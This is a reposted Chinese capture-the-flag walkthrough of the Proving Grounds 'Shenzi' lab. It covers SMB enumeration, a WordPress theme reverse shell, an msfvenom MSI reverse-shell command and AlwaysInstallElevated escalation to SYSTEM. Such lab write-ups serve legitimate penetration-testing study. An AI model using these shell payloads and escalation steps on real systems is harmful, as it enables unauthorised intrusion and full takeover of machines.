OSCP - Proving Grounds - Shenzi

主要知识点

  • 路径爆破小技巧

  • windows AlwaysInstallElevated 提权

具体步骤

依旧是nmap开始,其中80/443/139/445端口值得关注一下

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 15:06 UTC
Nmap scan report for 192.168.53.55
Host is up (0.00081s latency).
Not shown: 65521 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd 0.9.41 beta
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
80/tcp    open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.53.55/dashboard/
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-title: Welcome to XAMPP
|_Requested resource was https://192.168.53.55/dashboard/
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
| fingerprint-strings: 
|   NULL: 
|_    Host '192.168.49.53' is not allowed to connect to this MariaDB server
5040/tcp  open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=1/1%Time=67755A0E%P=x86_64-pc-linux-gnu%r(
SF:NULL,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.49\.53'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

利用smbclient来尝试连接并下载文件,其中passwords.txt比较有用,看起来安装了一个wordpress,一个mysql/maria,不过mysql/maria db是无法从其他网络连接的

C:\home\kali\Documents\OFFSEC\GoToWork\Shenzi> smbclient -L  //192.168.238.55     
Password for [WORKGROUP\kali]:Sharename       Type      Comment---------       ----      -------IPC$            IPC       Remote IPCShenzi          Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.238.55 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup availableC:\home\kali\Documents\OFFSEC\GoToWork\Shenzi> smbclient //192.168.238.55/Shenzi -N
Try "help" to get a list of possible commands.
smb: \> list
0:      server=192.168.238.55, share=Shenzi
smb: \> ls.                                   D        0  Thu May 28 23:45:09 2020..                                  D        0  Thu May 28 23:45:09 2020passwords.txt                       A      894  Thu May 28 23:45:09 2020readme_en.txt                       A     7367  Thu May 28 23:45:09 2020sess_klk75u2q4rpgfjs3785h6hpipp      A     3879  Thu May 28 23:45:09 2020why.tmp                             A      213  Thu May 28 23:45:09 2020xampp-control.ini                   A      178  Thu May 28 23:45:09 202012941823 blocks of size 4096. 6499253 blocks available
smb: \> get passwords.txt
getting file \passwords.txt of size 894 as passwords.txt (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
smb: \> get readme_en.txt
getting file \readme_en.txt of size 7367 as readme_en.txt (14.3 KiloBytes/sec) (average 7.8 KiloBytes/sec)
smb: \> get sess_klk75u2q4rpgfjs3785h6hpipp 
getting file \sess_klk75u2q4rpgfjs3785h6hpipp of size 3879 as sess_klk75u2q4rpgfjs3785h6hpipp (7.5 KiloBytes/sec) (average 7.7 KiloBytes/sec)
smb: \> get why.tmp
getting file \why.tmp of size 213 as why.tmp (0.4 KiloBytes/sec) (average 6.0 KiloBytes/sec)
smb: \> get xampp-control.ini
getting file \xampp-control.ini of size 178 as xampp-control.ini (0.4 KiloBytes/sec) (average 5.0 KiloBytes/sec)
smb: \> exit

尝试了各种字典都有任何有价值的线索,查了一下别人的walkthrough才知道有一个shenzi路径,这个路径在常用的字典里 是没有的,看起来 当你实在爆破不出东西的时候,试试靶机的名字吧。

 

利用passwords.txt中的密码可以登录,一般来讲wordpress在用admin登录以后都可以通过修改themes文件或者上传theme zip包来创建reverse shell,不过上传theme zip包会报错,不过可以通过修改现有theme的 文件来创建reverse shell,不过这里没法使用kali自带的 php-reverse-shell.php,但是咱们可以通过Online - Reverse Shell Generator来生成一个

 

 

之后覆盖掉默认theme中的404 template

 

在本地启动nc -nlvp 80之后,我们就可以访问http://192.168.215.55/shenzi/abc 来创建reverse shell,

C:\home\kali\Documents\OFFSEC\GoToWork\Shenzi> nc -nlvp 80 
listening on [any] 80 ...
connect to [192.168.45.161] from (UNKNOWN) [192.168.215.55] 50025
SOCKET: Shell has connected! PID: 1156
Microsoft Windows [Version 10.0.19042.1526]
(c) Microsoft Corporation. All rights reserved.C:\xampp\htdocs\shenzi>cd C:\Users\Shenzi

之类我们先上传winPEASx64.exe来收集一下信息,得到有用的信息,可能我用的winPEASx64.exe版本比较老下面的link不好用,可用的link是Windows Local Privilege Escalation - HackTricks

����������͹ Checking AlwaysInstallElevated
�  https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevatedAlwaysInstallElevated set to 1 in HKLM!AlwaysInstallElevated set to 1 in HKCU!

基本的意思是,如果两个注册表项的 AlwaysInstallElevated 是激活的状态,就会允许任意用户以Administrator的身份执行msi文件,虽然文章里是 利用msfvenom生成创建用户的msi,我们可以通过生成 创建reverse shell的msi来获得Administrator权限

C:\home\kali\Documents\OFFSEC\GoToWork\Shenzi> msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.161 LPORT=443 -f msi -o RevShell.msi
Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: RevShell.msi

在本地执行nc -nlvp 443后上传RevShell.msi并在remote server上执行,提权成功

C:\home\kali\Documents\OFFSEC\GoToWork\Shenzi> nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.45.161] from (UNKNOWN) [192.168.215.55] 50647
Microsoft Windows [Version 10.0.19042.1526]
(c) Microsoft Corporation. All rights reserved.C:\WINDOWS\system32>whoami
whoami
nt authority\systemC:\WINDOWS\system32>cd C:\Users\Administrator
cd C:\Users\AdministratorC:\Users\Administrator>cd Desktop
cd DesktopC:\Users\Administrator\Desktop>dir
dirVolume in drive C has no label.Volume Serial Number is E24B-9BB9Directory of C:\Users\Administrator\Desktop04/12/2022  10:03 AM    <DIR>          .
04/12/2022  10:03 AM    <DIR>          ..
01/03/2025  03:51 AM                34 proof.txt1 File(s)             34 bytes2 Dir(s)  26,628,440,064 bytes freeC:\Users\Administrator\Desktop>type proof.txt
type proof.txt
f2115ae86db22788d59629c1fac5d7b0

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/94002.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/94002.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

结合BI多维度异常分析(日期-> 商家/渠道->日期(商家/渠道))

技术手段&#xff1a; BI工具&#xff08;finereport &#xff09;、python、sql 数据更新&#xff1a; 每日零点更新数据。&#xff08;独立开发&#xff09; 商业智能分析平台 | Python/FineReport/SQLAlchemy 项目描述 业务价值 &#xff1a;解决原有系统无法快速定位佣金异…

计算机毕设Spark项目实战:基于大数据技术的就业数据分析系统Django+Vue开发指南

&#x1f393; 作者&#xff1a;计算机毕设小月哥 | 软件开发专家 &#x1f5a5;️ 简介&#xff1a;8年计算机软件程序开发经验。精通Java、Python、微信小程序、安卓、大数据、PHP、.NET|C#、Golang等技术栈。 &#x1f6e0;️ 专业服务 &#x1f6e0;️ 需求定制化开发源码提…

如何让FastAPI任务系统在失败时自动告警并自我修复?

url: /posts/2f104637ecc916e906c002fa79ab8c80/ title: 如何让FastAPI任务系统在失败时自动告警并自我修复? date: 2025-08-20T08:18:42+08:00 lastmod: 2025-08-20T08:18:42+08:00 author: cmdragon summary: FastAPI 和 Celery 结合提供了强大的异步任务处理能力,但在分布…

Gitee仓库 日常操作详细步骤

新建仓库 → 上传代码 步骤1、打开Gitee仓库网站&#xff1a;开源软件 - Gitee.com 步骤2、点击右上角加号 点击新建仓库。 步骤3、设置仓库名 &#xff0c;选择是否开源 &#xff0c;点击创建。 步骤4、记住远程仓库URL 步骤5、本地新建文件夹&#xff0c;然后进行上传代码…

Python采集易贝(eBay)商品详情API接口,json数据返回

Python采集易贝(eBay)商品详情API接口要采集eBay商品详情&#xff0c;你可以使用eBay官方提供的API。以下是使用Python通过eBay Finding API获取商品详情的完整示例&#xff1a;准备工作注册账号并获取API密钥&#xff1a;选择适合的API&#xff08;如Finding API、Shopping AP…

如何将任意文件一键转为PDF?

无论你用什么软件打开文件&#xff08;Word、Excel、网页、CAD图纸、图片等&#xff09;&#xff0c;只要能打印&#xff0c;就可以通过虚拟打印机将其转为PDF&#xff0c;确保对方收到的文件看起来和你看到的一模一样。它是小巧实用的PDF虚拟打印工具&#xff0c;采用安装包形…

迁移学习+多模态融合破解跨域难题,解锁视觉感知新范式

在近期的顶会顶刊中&#xff0c;迁移学习与多模态融合的热度居高不下&#xff0c;相关成果频出&#xff0c;部分模型在特定任务里性能提升极为显著。登上顶刊 TPAMI 2025 的某篇研究&#xff0c;借助语言引导的关系迁移&#xff0c;大幅提升了少样本类增量学习中模型的泛化能力…

C语言---分隔符、常量、注释、标识符、关键字、空格

文章目录分隔符注释注意标识符标识符的定义标识符的命名要求合法与非法标识符示例关键字关键字定义关键字一览(按功能分类)空格一、空格的作用&#xff1a;分隔令牌 (Tokens)空格的使用场景必须用空格分隔的情况不能有空格的情况分隔符 分隔符名称主要用途;分号语句结束符,逗号…

创建Vue项目的不同方式及项目规范化配置

1 项目的创建与运行 1.1 基于webpack构建工具——vue-cli脚手架 1. 安装脚手架 &#xff1a;npm i -g vue/cli # 安装一次即可&#xff0c;之前安装过则无需重复安装 2. 切换到项目所在目录 &#xff1a;cd 项目所在目录 3. 创建项目 &#xff1a;vue create 项目名 4. 自定…

K距离间隔重排字符串 (LeetCode 358) — Swift解法 + 可运行Demo

文章目录摘要描述解决方法分析问题和解决代码代码要点详解示例测试和结果时间复杂度空间复杂度总结摘要 这道题的核心是&#xff1a;把字符串里的字符重新排一下顺序&#xff0c;让相同字符之间至少隔开 k 个位置。如果做不到&#xff0c;就返回空串。看上去像“排座位”&…

React native Navigation 详解

Tab Navigator(标签导航器) 概念 Tab Navigator 是 React Navigation 中用于创建底部或顶部标签栏导航的组件。它允许用户在不同的屏幕之间快速切换,每个标签对应一个独立的屏幕。 基本用法 import {createBottomTabNavigator } from @react-navigation/bottom-tabs; im…

[GraphRAG]完全自动化处理任何文档为向量知识图谱:AbutionGraph如何让知识自动“活”起来?

在当今信息爆炸的时代&#xff0c;企业和研究人员面对大量非结构化文档时&#xff0c;如何高效地提取、存储和查询其中的知识&#xff0c;已成为一个核心挑战。传统的关键词检索早已无法满足深层次语义关联和智能问答的需求。 每天面对成百上千份PDF论文、Excel报告、行业白皮…

模拟tomcat接收GET、POST请求

访问&#xff1a; http://localhost:10086/mytomcatMyTomcat/ └── src/└── com/└── zhang/├── MyServer.java├── MyRequest.java├── MyResponse.java├── MyMapping.java├── MyServlet.java└── MyHttpServlet.java核心类功能说明 MyServer.java 服务…

氯化钇:科技与高性能材料的核心元素

氯化钇是钇元素的氯化物&#xff0c;广泛应用于高性能材料、催化剂、光电技术等领域。作为稀土元素之一&#xff0c;钇因其独特的物理和化学特性&#xff0c;在现代工业中具有重要地位&#xff0c;而氯化钇则是其中的关键化合物之一。氯化钇的优势与特点1. 化学稳定性强氯化钇具…

【数据结构初阶】--排序(五):计数排序,排序算法复杂度对比和稳定性分析

&#x1f618;个人主页&#xff1a;Cx330❀ &#x1f440;个人简介&#xff1a;一个正在努力奋斗逆天改命的二本觉悟生 &#x1f4d6;个人专栏&#xff1a;《C语言》《LeetCode刷题集》《数据结构-初阶》 前言&#xff1a;今天这篇博客就给大家将一个计数排序&#xff0c;然乎就…

Incredibuild 新增 Unity 支持:击破构建时间过长的痛点

任何开发过复杂 Unity 项目的团队都会告诉你&#xff1a;构建速度已成为生产流程中的核心痛点。Unity 灵活且强大&#xff0c;但随着项目规模扩大&#xff08;尤其是包含 3D 资源、复杂着色器和庞大内容管线的项目&#xff09;&#xff0c;构建过程会逐渐变成一项隐性成本。 多…

大数据接口 - 收入评估(社保评级)API

请求端点 {"post": "https://api.tianyuanapi.com/api/v1/JRZQ09J8?t13位时间戳" }请求头字段名类型必填描述Access-Idstring是账号的 Access-Id对于业务请求参数 通过加密后得到 Base64 字符串&#xff0c;将其放入到请求体中&#xff0c;字段名为 data&…

C++八股 —— 设计模式

文章目录一、创建型模式1. 单例模式2. 工厂模式二、结构型模式1. 装饰器模式2. 代理模式三、行为型模式1. 观察者模式2. 策略模式一、创建型模式 1. 单例模式 C八股 —— 单例模式_c 单例模式-CSDN博客 2. 工厂模式 参考&#xff1a;【设计模式】工厂模式详解-----简单工厂…

在openeuler中如何使用 firewalld 开放指定端口

在 OpenEuler 中使用 firewalld 开放指定端口的操作步骤如下&#xff0c;需区分临时开放&#xff08;重启后失效&#xff09;和永久开放&#xff08;重启后保留&#xff09;两种场景&#xff1a;一、查询端口当前状态首先确认端口是否已开放&#xff0c;避免重复配置&#xff1…

【Java进阶】Java JIT 编译器深度解析与优化实践

Java JIT 编译器深度解析与优化实践Java JIT 编译器深度解析与优化实践一、JIT 编译器核心原理1. JIT 工作流程2. 热点代码检测机制二、Java 8 JIT 优化升级1. 分层编译优化2. 方法内联增强3. 循环优化升级4. 逃逸分析增强5. 向量化支持三、JIT友好代码设计原则1. 方法设计优化…